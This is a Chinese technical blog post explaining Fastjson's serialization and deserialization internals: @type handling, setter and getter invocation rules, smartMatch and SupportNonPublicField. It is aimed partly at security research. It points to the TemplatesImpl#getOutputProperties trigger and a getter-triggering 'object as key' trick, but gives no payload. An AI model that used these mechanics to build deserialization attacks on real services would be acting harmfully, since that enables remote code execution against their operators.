Java FastJson

sky123

Fastjson 是阿里巴巴开源的一个 Java JSON 处理库,主要功能是:

  • 序列化:将 Java 对象(POJO)转换为 JSON 字符串
  • 反序列化:将 JSON 字符串还原为 Java 对象

它的核心特点是 性能高、使用方便,尤其适合需要处理大量 JSON 数据或对性能要求较高的场景。

POJO(Plain Old Java Object,普通的 Java 对象)指的是一种不依赖特定框架不继承或实现特定库的类,通常只包含属性字段和对应的 getter/setter 方法。

设计原则:

  • 不继承特定类(如不强制继承框架基类)
  • 不实现特定接口(除非是 Serializable 这类不影响业务逻辑的接口)
  • 主要作用是作为数据载体,用于封装和传递数据

在 Fastjson 中,POJO 是最常见的序列化与反序列化对象类型。

FastJson 的 Maven 坐标如下:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>

FastJson 的整体涉及架构如下:

classDiagram
direction LR

%% ===== 顶层门面 =====
class JSON {
  +parse(String) Object
  +parseObject(String) JSONObject
  +parseObject(String, Type) Object
  +parseObject(String, Class~T~) T
  +toJSONString(Object) String
}
note for JSON "门面入口
parseObject(String) 会先调 parse(...)(可能触发 @type 的构造/setter 等副作用)
随后 toJSON 成 JSONObject 返回" %% ===== 解析器 ===== class DefaultJSONParser { -config: ParserConfig -lexer: JSONLexer -context: ParseContext -symbolTable: SymbolTable +DefaultJSONParser(String, ParserConfig) +parse() Object +parseObject(Type) Object +accept(int) void } note for DefaultJSONParser "持有 ParserConfig/JSONLexer/SymbolTable
负责驱动词法器与分派 ObjectDeserializer" %% ===== 词法层 ===== class JSONLexer { <> +token: int +nextToken() void +stringVal() String +intValue() int +scanSymbol(SymbolTable) String +config(Feature, boolean) void } note for JSONLexer "抽象词法接口;scanSymbol 会借助 SymbolTable 做字段名驻留" class JSONLexerBase { +nextToken() void +scanSymbol(SymbolTable) String +scanString() void +config(Feature, boolean) void } JSONLexerBase ..|> JSONLexer note for JSONLexerBase "通用词法实现;支持 Feature 开关(单引号/多余逗号/ISO8601 等)
byte[] 走 bytesValue(Base64) 路径" class JSONScanner { -text: String } JSONScanner --|> JSONLexerBase note for JSONScanner "基于 String 的扫描器" class JSONReaderScanner { -reader: java.io.Reader -buf: char[] } JSONReaderScanner --|> JSONLexerBase note for JSONReaderScanner "基于 Reader 的扫描器" class Feature { <> +AllowSingleQuotes +AllowArbitraryCommas +AllowUnQuotedFieldNames +IgnoreNotMatch +SupportNonPublicField +AllowISO8601DateFormat +UseBigDecimal +DisableFieldSmartMatch +... } JSONLexerBase --> Feature : config() note for Feature "解析特性枚举;按需启停宽松语法/数值/匹配行为等" %% ===== 符号表 ===== class SymbolTable { -symbols: String[] -indexMask: int +addSymbol(char[], int, int) String } JSONLexer --> SymbolTable : scanSymbol() note for SymbolTable "字段名驻留/复用(减少字符串分配)" %% ===== 反序列化策略接口与实现 ===== class ObjectDeserializer { <> +deserialze~T~(DefaultJSONParser, Type, Object) T } note for ObjectDeserializer "策略接口;注意库内方法名是 deserialze(少个 i)
返回泛型 T" class JavaBeanDeserializer { -fieldDeserializers: FieldDeserializer[] -sortedFieldDeserializers: FieldDeserializer[] -beanInfo: JavaBeanInfo -clazz: Class~?~ +createInstance(DefaultJSONParser, Type) Object +parseField(DefaultJSONParser, String, Object) void +deserialze(DefaultJSONParser, Type, Object) Object } ObjectDeserializer <|.. JavaBeanDeserializer note for JavaBeanDeserializer "JavaBean 反序列化器:
赋值策略:1 setter 优先;2 无 setter 且 getter 返回可变容器→就地填充;3 开启 SupportNonPublicField→直写字段
字段名匹配:精确→别名→布尔 is 前缀→去下划线/连字符的宽松匹配
byte[] 自动 Base64 解码" class FieldDeserializer { <> +parseField(DefaultJSONParser, Object, Type, java.util.Map) void } JavaBeanDeserializer --> FieldDeserializer : uses * note for FieldDeserializer "负责单字段的读取与写入(调用 setter / 直写字段)" class MapDeserializer { <> +instance: MapDeserializer +deserialze(DefaultJSONParser, Type, Object) Object +createMap(Type) java.util.Map } ObjectDeserializer <|.. MapDeserializer note for MapDeserializer "Map 反序列化;常返回 LinkedHashMap 等实现" class CollectionDeserializer { +deserialze(DefaultJSONParser, Type, Object) Object +createCollection(Type) java.util.Collection } ObjectDeserializer <|.. CollectionDeserializer note for CollectionDeserializer "集合反序列化;常返回 ArrayList 等实现" %% ===== 配置/工厂 ===== class ParserConfig { +global: ParserConfig -deserializers: IdentityHashMap~Type, ObjectDeserializer~ -asmFactory: ASMDeserializerFactory -safeMode: boolean +getDeserializer(Type) ObjectDeserializer +createJavaBeanDeserializer(Class, Type) ObjectDeserializer +createFieldDeserializer(ParserConfig, Class, FieldInfo) FieldDeserializer +checkAutoType(String, Class, int) Class } ParserConfig o--> ObjectDeserializer : registry/cache ParserConfig --> JavaBeanDeserializer : create ParserConfig --> FieldDeserializer : create note for ParserConfig "缓存与工厂:getDeserializer / create*
安全:checkAutoType 审核 @type(白/黑名单、safeMode)" %% ===== 关系(控制流标签) ===== JSON --> DefaultJSONParser : creates/uses DefaultJSONParser --> JSONLexer : uses DefaultJSONParser --> ParserConfig : uses DefaultJSONParser --> ObjectDeserializer : dispatch

FastJson 特性

POJO -> JSON(序列化)

toJSONString

FastJson 序列化主要是依靠 com.alibaba.fastjson.JSON#toJSONString 函数进行的,该函主要有下面两种重载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 将指定对象序列化为等价的 JSON 字符串。
* 注意:如果对象的某些字段是泛型类型,本方法依然可以正常工作;
* 但如果对象本身是一个泛型类型,则可能会有问题。
*
* 如果你希望直接把对象写入到 {@link Writer} 中,
* 请使用 {@link #writeJSONString(Writer, Object, SerializerFeature[])} 方法。
*
* @param object 需要转换为 JSON 字符串的对象
* @return {@code object} 的 JSON 字符串表示
*/
public static String toJSONString(Object object) {
return toJSONString(object, emptyFilters);
}

/**
* 将指定对象序列化为 JSON 字符串,并支持通过 SerializerFeature 数组自定义序列化特性。
*
* @param object 需要转换为 JSON 字符串的对象
* @param features 序列化特性,例如 WriteClassName、PrettyFormat 等
* @return {@code object} 的 JSON 字符串表示
*/
public static String toJSONString(Object object, SerializerFeature... features) {
return toJSONString(object, DEFAULT_GENERATE_FEATURE, features);
}

序列化行为

其中第个重载函数比第一个函数多了一个 features 参数,该参数类型是 SerializerFeature 枚举。toJSONString 的序列化行为由该枚举控制。

如果用户未显式传参,则会使用 DEFAULT_GENERATE_FEATURE,在 Fastjson 初始化时默认开启了以下四个特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 静态初始化代码块,在类加载时执行一次
static {
int features = 0;
// 开启序列化时的一些默认特性(用位运算叠加掩码)
features |= SerializerFeature.QuoteFieldNames.getMask(); // 输出 JSON 时,字段名使用引号包裹(标准 JSON 要求)
features |= SerializerFeature.SkipTransientField.getMask(); // 跳过 transient 修饰的字段,不进行序列化
features |= SerializerFeature.WriteEnumUsingName.getMask(); // 枚举类型使用枚举名输出,而不是 ordinal 整数值
features |= SerializerFeature.SortField.getMask(); // 对输出的字段名进行排序(保证输出顺序一致)

// 赋值给默认的序列化特性组合
DEFAULT_GENERATE_FEATURE = features;
}

// 定义一个空的序列化过滤器数组(默认情况下不使用任何过滤器)
static final SerializeFilter[] emptyFilters = new SerializeFilter[0];

// 保存序列化时的默认特性(由上面静态代码块初始化)
public static int DEFAULT_GENERATE_FEATURE;

另外常见的 SerializerFeature 特性还有:

  • PrettyFormat:美化输出,带缩进换行。
  • WriteMapNullValue:输出值为 null 的字段。
  • WriteNullStringAsEmpty / WriteNullListAsEmpty:null 字符串 / 集合以 ""[] 输出。
  • DisableCircularReferenceDetect:关闭循环引用检测,提升性能。
  • **WriteClassName**:序列化时输出 @type 字段,包含类的全限定名。

其中 WriteClassName 在安全研究中非常重要。该特性会让 toJSONString 函数在序列化时输出 @type 字段(包含完整类名),用于保留运行时类型信息,方便反序列化时还原类属性。

1
2
3
Person p = new Person("Lisa", 20);
String json = JSON.toJSONString(p, SerializerFeature.WriteClassName);
// 输出:{"@type":"org.example.Person","age":20,"name":"Lisa"}

属性过滤规则

POJO 在序列化时,并不是所有属性都会被序列化到 JSON 字符串中,例如下面这几种情境的中的属性就不会被序列化。

  • static 字段:不会序列化。
  • transient 字段:默认不会序列化(除非关闭 SkipTransientField 特性)。
  • @JSONField(serialize=false):强制忽略。
  • @JSONType(ignores=...):类级别忽略。

属性获取规则

Fastjson 在序列化 POJO 时不会调用 setter;它会优先调用 getter/isXxx 取值,没有 getter 时会退回到“直接读字段值”(field access):

  1. 优先调用 getter/isXxx 函数获取属性:

    1. 若有 getXxx()必须是 public 类型非静态方法,否则不调用)则优先调用 getter 取值。
    2. 否则若有 isXxx() 则调用 isXxx必须是 public 类型非静态方法返回值必须为 boolean 类型,否则不调用)取值,不过此时取到的值是 boolean 类型,可能与原类型不同。

    且属性类型以及过滤原则与 getter/isXxx 函数的返回类型有关,例如:

    • 一个属性是其他任意类型,但是仅有对应的 isXxx 函数,则序列化结果中该属性类型与 isXxx 函数返回值一致,即 boolean 类型。
    • 一个属性是 static 类型,但是有一个非 staticgetter/isXxx 函数,则以函数为准,可以序列化该属性。
  2. 否则如果字段是 public 字段且字段类型可以被反序列化则直接读取该字段。

属性转换规则

Fastjson 在序列化时对一些特殊类型有内置规则,其中最重要的是 **byte[]**:

  • 序列化时byte[] 会被自动 Base64 编码,转为字符串存入 JSON;
  • 反序列化时:遇到 byte[] 字段会调用 JSONScanner#bytesValue 自动进行 Base64 解码,还原为字节数组。

另外其他类型为了方面做序列化/反序列化,同样也会做一些转换。

  • **char[]**:按字符串输出
  • 日期/时间:默认时间戳;可用 @JSONField(format="yyyy-MM-dd HH:mm:ss")WriteDateUseDateFormat 指定格式
  • 枚举:默认名称(WriteEnumUsingName),也可切换 WriteEnumUsingToString/序号
  • 循环引用:默认检测并写 $ref;可用 DisableCircularReferenceDetect 关闭(需确保无自引用)

序列化过程

0) 入口与初始化

  • 典型入口:JSON.toJSONString(obj, SerializerFeature... features)
  • 创建 **SerializeWriter**(高性能 char[] buffer,按特性位设置转义、单双引号、null 输出策略、是否禁用循环检测等)。
  • 构造 **JSONSerializer**(持有 SerializeWriter 与全局 SerializeConfig;后者维护 “Java 类型 → ObjectSerializer” 的写入器映射)。
  • 调用 serializer.write(obj) 进入主序列化分发

1) 分发(按运行时类型选择 ObjectSerializer

  • null → 写入 "null"
  • String/Number/Boolean/Date/Calendar/Enum/数组/集合/Map/JSONAware/... → 各有专用 ObjectSerializerStringSerializer/NumberSerializers/DateSerializer/EnumSerializer/ArraySerializer/CollectionSerializer/MapSerializer/...)。
  • 其它普通 POJO → **JavaBeanSerializer**(如满足条件会用 ASM 生成的 ASMSerializer_* 以优化性能)。

2) JavaBean 路径(重点)

obj 走到 JavaBeanSerializer.write(...) 或 ASM 版本时,会发生:

  1. 循环引用检测
    • 默认启用。若对象已在引用表里,输出 {"$ref":"..."},否则登记后继续。可通过 SerializerFeature.DisableCircularReferenceDetect 关闭以提速。
  2. 是否输出 @type(类名)
    • 若启用 SerializerFeature.WriteClassName 且类型非 final/存在多态需要,先写 {"@type":"全限定类名", ...}
  3. 确定字段顺序
    • 依据 @JSONType(orders=...)SerializerFeature.SortField,以及 JavaBeanInfo.sortedGetters 的内省结果。JavaBeanInfo#build 会收集“**符合 JavaBean 规范的 getXxx() / isXxx()**”到 FieldInfo[],作为即将输出的“属性列表”。
  4. 前置过滤器(Before/PropertyPre)
    • PropertyPreFilter 用来是否参与序列化BeforeFilter先写入一些扩展字段。顺序:pre-filter → before-filter。
  5. 逐个处理属性:
    • 取属性名与 FieldInfo,然后 取值
      • FieldInfo.method != nullMethod.invoke(obj) 调用 getter;否则直接读 field 值。
    • 过滤与变换
      • PropertyFilter(是否保留)、NameFilter(改名)、ValueFilter/ContextValueFilter(改值)、LabelFilter(按标签筛选)。
    • null、缺省值策略
      • WriteMapNullValue(输出 null 字段)、WriteNullStringAsEmptyWriteNullNumberAsZeroNotWriteDefaultValueNullAsDefaultValue(不同行为,版本略有差异)。
    • 递归写入:对属性值再走一遍“分发 → 写出”。
  6. 后置过滤器(AfterFilter)
    • 可以在所有属性之后再追加一些派生字段。
  7. BeanToArray(可选)
    • 若启用 SerializerFeature.BeanToArray@JSONType(serialzeFeatures=BeanToArray),这个 JavaBean 将按 getter 顺序以数组形式输出,而非对象。

3) Map / Collection / Array / 特殊类型

  • Map:遍历 entrySetkey 默认是 String 最稳。若 key 不是字符串,可开启 WriteNonStringKeyAsString 强制转字符串,否则可能产生 {1:"x"} 这类非标准 JSON(浏览器端会报错)。相关讨论/用例在官方 issue 中可见。
  • Collection/数组:依次写每个元素。
  • Date/时间WriteDateUseDateFormatUseISO8601DateFormat 会影响输出格式。

4) 特性开关(常见)

  • IgnoreNonFieldGetter:忽略没有对应字段的 getter(减少误调)。也可用 @JSONField(serialize=false) 精确关闭某个 getter。
  • DisableCircularReferenceDetect:提速,牺牲循环引用安全。
  • BrowserCompatible / BrowserSecure:浏览器兼容/安全输出。

JSON -> POJO(反序列化)

Fastjson 提供了多个入口函数用于 JSON 字符串反序列化为对象,常见有 parseparseObject

  • parse为了灵活性,可以解析一切 JSON,但返回类型不确定,还可能有安全风险。
  • parseObject为了类型安全,只解析成指定类,结果可控,适合大多数业务场景。

属性赋值特性

整体流程

  1. 建“属性索引表”(Class → FieldInfo[])

    Fastjson 在反序列化前会扫描目标类,识别可写入的属性,整理为一组 FieldInfo。核心入口是 com.alibaba.fastjson.util.JavaBeanInfo.build(...),它会综合setter 方法public 字段、以及部分 getter(容器只读)来建立索引,并考虑注解与命名策略。要点:

    • 优先收集 setter

      • 挑选规则

        • **非 static**;
        • 只接收 1 个参数
        • 返回 void 或返回声明类本身(支持链式 / Fluent setter)。
        • 若方法或字段上有 @JSONField(deserialize=false),则该属性不参与反序列化;若 @JSONField(name=...) 非空,则直接采用该 name 作为属性名
      • 从方法名推导属性名

        设方法名为 set...,取第 4 个字符 c3 = methodName.charAt(3)

        1. **常规 setXxx**,若 c3 是大写(或 c3 > 512,兼容非 ASCII 命名)则:

          • TypeUtils.compatibleWithJavaBean 为真 → propertyName = decapitalize(methodName.substring(3))
          • 否则 → propertyName = toLower(methodName.charAt(3)) + methodName.substring(4)
        2. **下划线风格 set_abc**:直接 丢弃下划线,取 propertyName = methodName.substring(4),也就是 **"abc"**。

          注意:这里没有“自动回退去找 "_abc" 字段”的步骤。如果类里字段叫 "_abc" 而不是 "abc"field 可能为 null,但属性仍可通过 setter 正常写入;如需让 JSON 键名也叫 "_abc",请用 @JSONField(name="_abc") 显式指定。

        3. setfXxx 特例:属性名取 methodName.substring(3)(即 fXxx)。

        4. setXURL(第 5 位是大写):属性名=decapitalize(methodName.substring(3))

        5. 否则:不认为是合法 setter,跳过。

        布尔字段:若按上述推导没找到字段,且参数类型是 boolean,还会额外尝试 isXxx 命名的字段(如属性名 enabled → 字段 isEnabled)。

        字段 / 注解融合:若找到了字段,再读取字段上的 @JSONField;当字段注解里 name 非空时,以字段注解的 name 覆盖属性名,并记录序列化/反序列化特性位。

    • 补充 public 实例字段:将staticpublic 字段加入;若是 final 字段,仅当是容器/原子类Map/Collection/Atomic*)才保留(避免对不可变标量写入)。同样会应用字段上的 @JSONField 与命名策略。

    • “只读容器 getter”也会被当成可写属性记录:扫描 getter:当方法名 getXxx、无参、返回类型是 Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong,且没有对应 setter 时,也会登记为一个属性项(read‑only property)。反序列化时走“取现有实例并就地填充”的路径(不替换引用)。属性名默认由 getPropertyNameByMethodName("getXxx") 推导,若方法上 @JSONField(name=...) 非空则用注解名。

    这一步的产物是一组 FieldInfo,每条记录上挂好了:属性名、setter、对应字段、只读容器型 getter、注解元信息等。

  2. 键名匹配(JSON key → 属性名)

    当解析到 JSON 的每个键时,JavaBeanDeserializer 会把该键匹配到某个 FieldInfo,匹配策略包含精确命中智能匹配(smartMatch)两层:

    • 直接命中(精确):先按 fieldNameHash 直接找。
    • smartMatch(默认开启):若没命中且未启用 Feature.DisableFieldSmartMatch,会做一轮宽松归一化匹配
      1. 大小写不敏感fnv1a_64_lower);
      2. 忽略分隔符再比较(fnv1a_64_extract,会**去掉下划线 _ 和中划线 -**并转小写);
      3. 布尔 is 前缀:若 JSON key 以 is 开头,也会尝试去掉 is 再匹配布尔属性;
      4. 别名:最后看 @JSONField(alternateNames=...) 是否包含该 key。
  3. 选择赋值入口(属性名 → 实际调用路径)

    匹配到属性后,Fastjson 按优先级决定如何把值“写进去”:

    1. 优先走 setter
      • JSON 是字面量(数/串/布尔)→ 做类型转换后 **setXxx(converted)**;
      • JSON 是对象/数组 → 先把该段 JSON 递归反序列化成参数类型 T 的新实例,再 setXxx(new T(...))
      • 容器参数(Map/Collection/Properties 等):同理——新建目标实现并填充,再一次性 setXxx(newValue)
    2. 无 setter,但属性记录的是“容器 getter”调用 getter 拿已有实例并“就地填充”put/add 等),不替换引用;若 getter 返回 null,通常就填不进去(取决于具体 getter 的实现是否会自行初始化非空)。这一行为是 JavaBeanInfo.build 把“容器 getter”登记为属性项后,在反序列化分支里的特性。
    3. 否则,在开启 Feature.SupportNonPublicField直接写字段setAccessible(true)),对对象/数组同样是先 new “字段声明类型”的新实例并递归填充后整体替换

访问器规范

Fastjson 在解析 POJO 时,会扫描类中的方法,识别哪些方法是 getter / setter,并据此推导出属性名。这部分规则位于 com.alibaba.fastjson.util.JavaBeanInfo#build 方法,具体如下:

Setter 方法(用于反序列化赋值)

  • 非静态实例方法

  • 方法名长度 ≥ 4

  • 方法名以 set 开头

  • 第 4 个字符必须是大写字母

    • setName(String name)
    • setname(String name) ❌(不符合规范)
  • 参数个数必须是 1

  • 返回值类型可以是 void 或者链式调用(返回 this 也行)

    注意

    返回父类/接口类型的链式视为 setter

  • 属性名的推导:去掉前缀 set,把第 4 个字符转小写,即得到属性名。

    • setName(String) → 属性 name
    • setURL(String) → 属性 URL(第二个字母大写时,保持全大写缩写不变)

Getter 方法(用于序列化或“容器就地填充”)

  • 非静态实例方法
  • 方法名长度 ≥ 4
  • 方法名以 get 开头
  • 第 4 个字符必须是大写字母
    • getName()
    • getname()
  • 参数个数必须是 0(不能有参数)
  • 返回值类型不限(可为任何对象类型)
  • 属性名的推导:去掉 get 前缀,首字母小写。
    • getName() → 属性 name
    • getURL() → 属性 URL

Boolean Getter 方法(特殊规则)

  • 必须是非静态实例方法

  • 方法名以 is 开头

  • 第 3 个字符必须是大写字母

    • isAdmin()
    • isadmin()
  • 参数个数必须是 0

  • 返回值类型必须是 booleanBoolean

  • 属性名的推导:去掉前缀 is,首字母小写。

    • isAdmin() → 属性 admin
    • isVIP()VIP(保留缩写大写)

属性名称匹配

FastJson 在反序列化的时候如果指定了目标类,则需要将 JSON 中的键名目标类的属性名相匹配。这个匹配过程相当于访问器函数的定义要求要宽松的多,如果不到访问器中的方法则会调用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 进行模糊匹配。

匹配的规则为:

  1. 精确匹配 → key 必须和字段名一致。

  2. 大小写不敏感匹配 → “Name” 可以匹配字段 name

  3. 布尔 is 前缀 → JSON "isAdmin" → Java 字段 admin(boolean 类型)。

    • 要求属性类型是 booleanBoolean

    • 去掉 "is" 前缀后,再大小写不敏感匹配属性名

  4. 去掉下划线/中划线"user_name""user-name"userName

    • 会生成一个新的 key2 = 去掉 _/- 的版本并尝试直接查找 key2

    • 如果还没有,再对比大小写不敏感

  5. alternateName 别名匹配 → @JSONField 配置的备用名字。

    • 如果前面都没命中,检查每个 FieldInfo 是否有 @JSONField(alternateNames=...)
    • 如果 JSON key 在备用别名列表里,则匹配成功。

属性赋值策略

在反序列化的过程中需要对属性进行赋值,在此过程中会调用一些类的 getter、setter 以及无参构造方法。在不同的情景下,这些方法调用顺序与是否调用都不太相同:

① 有 setter 方法

  • 基本规则:找到 setXxx(T)优先调用 setter
  • 传入什么值取决于 JSON 里这个键对应的“值的形态”和 T 的类型:
    • 字面量(字符串、数字、布尔等)→ 直接做类型转换后传给 setter(不会去 new 任何“子对象”)。
    • 对象/数组{} / [])→ Fastjson 会先把该 JSON 递归反序列化成 T 类型的一个新实例(通常通过 T无参构造函数+ 递归填充),把这个实例作为参数传给 setter。
  • 容器参数(TMap/Collection/Properties 等):同上规则——先 new 一个新的目标实现实例(Map 常用 LinkedHashMapList 常用 ArrayListProperties 直接 new),填入 JSON 内容,再一次性 setXxx(newValue)
  • 副作用点:setter 里的自定义逻辑会执行;被构造的 T(如果是自定义类)在反序列化其内部字段/属性时也会触发它们的构造/初始化逻辑。

② 无 setter,但有 getter,且 getter 返回容器类型

  • 触发条件:匹配到属性 xxx,类里没有 setXxx(...),但 getXxx(),且返回类型是可变容器Map / Collection / Properties 等)。
  • 行为:Fastjson 会调用 getter,拿到现有实例不会去 new 新对象),然后把 JSON 的 {} / [] 直接填进这个实例put/add)。
  • 关键差异(和①相比):
    • 不替换引用,只是在原对象上“就地填充”
    • getter 会被调用,所以getter 内的副作用会执行(TemplatesImpl#getOutputProperties() 就在这里触发链路)。
  • **如果 getter 返回 null**:Fastjson 不会自动 new 一个容器来“放回去”;这时就填不进去(具体走向与版本/实现细节相关)。

③ 无 setter,启用 SupportNonPublicField(走“字段赋值”)

  • 行为:Fastjson 直接通过反射给字段本身赋值(setAccessible(true)),不会调用 getter 或 setter。
  • 赋什么值同样取决于 JSON 值形态与字段类型:
    • 字面量 → 直接转换后写入字段。
    • 对象/数组 → Fastjson 会new 一个“字段声明类型”的新实例(用其无参构造函数)并递归填充,然后把这个新实例赋值给字段替换原引用)。
  • 与②的对比
    • ② 是复用 getter 返回的现有容器就地填充(不改引用);
    • ③ 是创建新实例直接写字段替换引用)。
  • 容器字段:同样遵循“对象/数组 → new 新实例再填充再赋值”的规则;不会先去读 getter,更不会“拿出来再放回去”。

在具体给属性赋值的时候也要参考属性的类型。

修饰符 setter 路径 getter-容器填充 字段直写(SupportNonPublicField) 备注
public ✔️ 正常 ✔️ 正常 ✔️ 无需额外特性也可(public 字段可见) ——
private / protected / 包可见 ✔️ 只要 setter 是可见实例方法,就按规则调用 ✔️ 若有返回容器的 getter ✔️ 开启 SupportNonPublicField 才能直接写 官方特性专为“非公有字段可写”提供支持。
static 字段 不能static setXxx 当属性入口;实例 setter 若内部去改静态字段,当然会生效 ➖ 与属性无关 ❌ **扫描字段时直接跳过 static**,不会当作可写属性 源码对字段扫描有 Modifier.isStatic(...) 的显式过滤。
final ✔️ setter 能改它“背后的状态”(取决于你的实现) ✔️(容器本身可被填充;但不会替换 final 引用) ⚠️ 直接改 final 字段的可行性很差;在现代 JDK 上通过反射写 final 往往失败或不可靠 不要指望通过反射稳定修改 final 值;JDK 对此有严格限制。
transient ✔️ 不影响 setter 的调用(transient 只修饰字段,不约束方法调用) ✔️ 同上 ⚠️ 字段扫描会把 transient 标记成 fieldTransient 并可被跳过(序列化侧明确;字段基路径通常也不把它当可写属性) 更稳妥的控制建议用 @JSONField(deserialize = false/true) 显式声明。
volatile ✔️ 与普通字段无差别 ✔️ ✔️ Fastjson 不对 volatile 做特殊处理。

parse

parse 函数有两种重载,函数声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* 将指定的 JSON 字符串解析为 Java 对象。
*
* @param text 待解析的 JSON 字符串
* @return 解析后的 Java 对象(可能是 {@code JSONObject}、{@code JSONArray} 或根据 "@type" 实例化的 JavaBean)
* @throws com.alibaba.fastjson.JSONException 如果 JSON 文本格式不合法
*/
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

/**
* 将指定的 JSON 字符串解析为 Java 对象(动态类型),并允许通过参数指定解析特性。
*
* @param text 待解析的 JSON 字符串
* @param features 指定的解析特性组合(位掩码,可由多个 Feature 的 mask 按位或组合)
* @return 解析后的对象:可能是 {@code JSONObject}、{@code JSONArray}、基础字面量,或在策略允许时为 JavaBean
* @throws com.alibaba.fastjson.JSONException 如果 JSON 文本格式不合法
*/
public static Object parse(String text, int features);

返回结果类型

com.alibaba.fastjson.JSON#parse 会解析 text,并根据 JSON 文本内容动态决定返回对象的类型:

  • 如果 JSON 中包含 @type 字段,Fastjson 会尝试根据该类名进行实例化并填充属性。

  • 如果没有 @type,返回结果可能是 JSONObjectJSONArray

    • {...}com.alibaba.fastjson.JSONObject
    • [...]com.alibaba.fastjson.JSONArray
  • 另外一些基础类型也可以直接转换:

    • 字符串字面量 → java.lang.String(例如 "\"hello\"""hello"
    • 布尔字面量 → java.lang.Boolean(例如 "true"true
    • 数值字面量 → java.lang.Integer / java.lang.Long / java.math.BigDecimal 等(按大小/小数位自适应,可配 Feature.UseBigDecimal
    • nullnull

反序列化行为

与序列化类似,反序列化同样有一个描述行为的枚举 Feature。通常默认情况下为 DEFAULT_PARSER_FEATURE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 静态初始化代码块,在类加载时执行一次
static {
int features = 0;
// 开启反序列化时的一些默认特性(用位运算叠加掩码)
features |= Feature.AutoCloseSource.getMask(); // 自动关闭输入源(Reader/InputStream)
features |= Feature.InternFieldNames.getMask(); // 对字段名调用 String.intern(),减少重复字符串内存占用
features |= Feature.UseBigDecimal.getMask(); // 将小数统一解析为 BigDecimal,避免精度丢失
features |= Feature.AllowUnQuotedFieldNames.getMask();// 允许未加引号的字段名(宽松模式)
features |= Feature.AllowSingleQuotes.getMask(); // 允许字符串使用单引号(宽松模式)
features |= Feature.AllowArbitraryCommas.getMask(); // 允许多余的逗号(宽松模式)
features |= Feature.SortFeidFastMatch.getMask(); // 假定字段顺序一致,加速字段匹配
features |= Feature.IgnoreNotMatch.getMask(); // 忽略 JSON 中多余字段,不抛异常

// 赋值给默认的反序列化特性组合
DEFAULT_PARSER_FEATURE = features;
}

// 保存反序列化时的默认特性
public static int DEFAULT_PARSER_FEATURE;

另外在安全研究中,Feature 有一个很重要的特性 SupportNonPublicField。默认情况下,Fastjson 在反序列化时只会给 public 字段 或通过 setter 方法 赋值。

当启用 SupportNonPublicField 后,Fastjson 会通过反射直接写入 private / protected 字段,即便没有对应的 setter。

反序列化过程

0) 入口与初始化

  1. JSON.parse(text) → 创建 DefaultJSONParser(text, ParserConfig.global, features)
  2. 构造 JSONLexerJSONScanner/JSONReaderScanner),按 Feature 配置宽松语法、数值策略等(如 AllowSingleQuotesUseBigDecimalIgnoreNotMatch…)。
  3. 调用 DefaultJSONParser.parse() 进入主解析。

1) 顶层 token 分派

  • null → 返回 null
  • true/falseBoolean
  • 整数 → 依据大小:Integer / Long /(溢出)BigInteger
  • 小数Double,若启用 UseBigDecimalBigDecimal
  • 字符串String;若启用 AllowISO8601DateFormat 且命中 ISO‑8601,顶层可直接返 Date
  • “{” 对象对象分支(见 §2)
  • “[” 数组数组分支(见 §3)

2) 对象分支(“{}”)有两条路径

2.1 特殊键与类型识别(极早期处理)

  • 读取第一个字段名;若为 @type(或自定义 typeKey)未禁用特殊键检测
    • ParserConfig.checkAutoType(...) 审核白/黑名单 / safeMode
    • 放行:得到目标 ClassParserConfig.getDeserializer(type)进入强类型反序列化(§2.2)。
    • 不放行:把 @type 当作普通字段处理(落到 §2.3)。
  • 若第一个键为 "$ref":按 JSONPath 引用规则回填对象($ 根、@ 父、.. 向上等)

备注:@type 一般只在对象首个字段时被识别为“类型标识”。

2.2 强类型反序列化(AutoType 放行时)

  • 取得 ObjectDeserializerJavaBeanJavaBeanDeserializerMap/Collection/数组/枚举等有各自实现)。
  • deserialze(parser, type, fieldName) 期间:
    • 实例化:调用无参构造/工厂路径。
    • 属性赋值策略
      1. setter → 优先调用 setXxx(...)
      2. settergetter 返回可变容器(Map/Collection/Atomic* → 调 getter现有实例就地填充
      3. 启用 SupportNonPublicField → 直接反射写字段(对象/数组会先构建声明类型实例再整体替换)。
    • 字段名匹配(smartMatch):精确 → @JSONField 别名 → 布尔 isXxxxxx → 去下划线/连字符的宽松匹配。
    • 特殊类型byte[] 值按 Base64 自动解码;日期可识别 ISO‑8601。
  • 返回:目标 JavaBean/Map/Collection/数组/枚举 实例。

2.3 非强类型(未用/未放行 @type)→ Map 容器

  • 创建 JSONObject(背后通常是 LinkedHashMap)。
  • 逐字段:名称匹配(含 smartMatch/别名/布尔前缀),递归解析值并 put 进 Map。
  • 关于“对象当 key”:为了把 key 归一为字符串,会在 parseObject 路径上对 key 做一次 JSON.toJSONString(或 toString()),从而在解析阶段触发了一次“序列化”(这正是“对象当 Key”技巧能在解析期触发 getter 的原因)。
  • 返回JSONObject

3) 数组分支(“[]”)

  • 创建 JSONArray;逐元素递归 parse()
  • 元素可为字面量、JSONObjectJSONArray,或内部带 @type强类型元素(若放行则该元素返回 JavaBean 等)。
  • 返回JSONArray

4) 结果收敛

  • 命中强类型(@type 放行) → 返回具体实例JavaBean/Map/…)。
  • 否则 → 返回 JSONObject / JSONArray / 基础字面量(含可能的 Date)。

parseObject

parseObject 有下面两种重载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 将指定的 JSON 字符串解析为 {@link com.alibaba.fastjson.JSONObject} 对象。
*
* @param text 待解析的 JSON 字符串
* @return 解析得到的 {@code JSONObject} 对象
* @throws com.alibaba.fastjson.JSONException 如果 JSON 文本格式不合法
*/
public static JSONObject parseObject(String text);

/**
* 将指定的 JSON 字符串解析为指定类型的 Java 对象。
*
* @param text 待解析的 JSON 字符串
* @param clazz 目标类的 Class 对象
* @param <T> 泛型参数,对应返回对象类型
* @return 解析得到的 JavaBean 实例
* @throws com.alibaba.fastjson.JSONException 如果 JSON 文本格式不合法,或无法匹配目标类的属性
*/
public static <T> T parseObject(String text, Class<T> clazz);

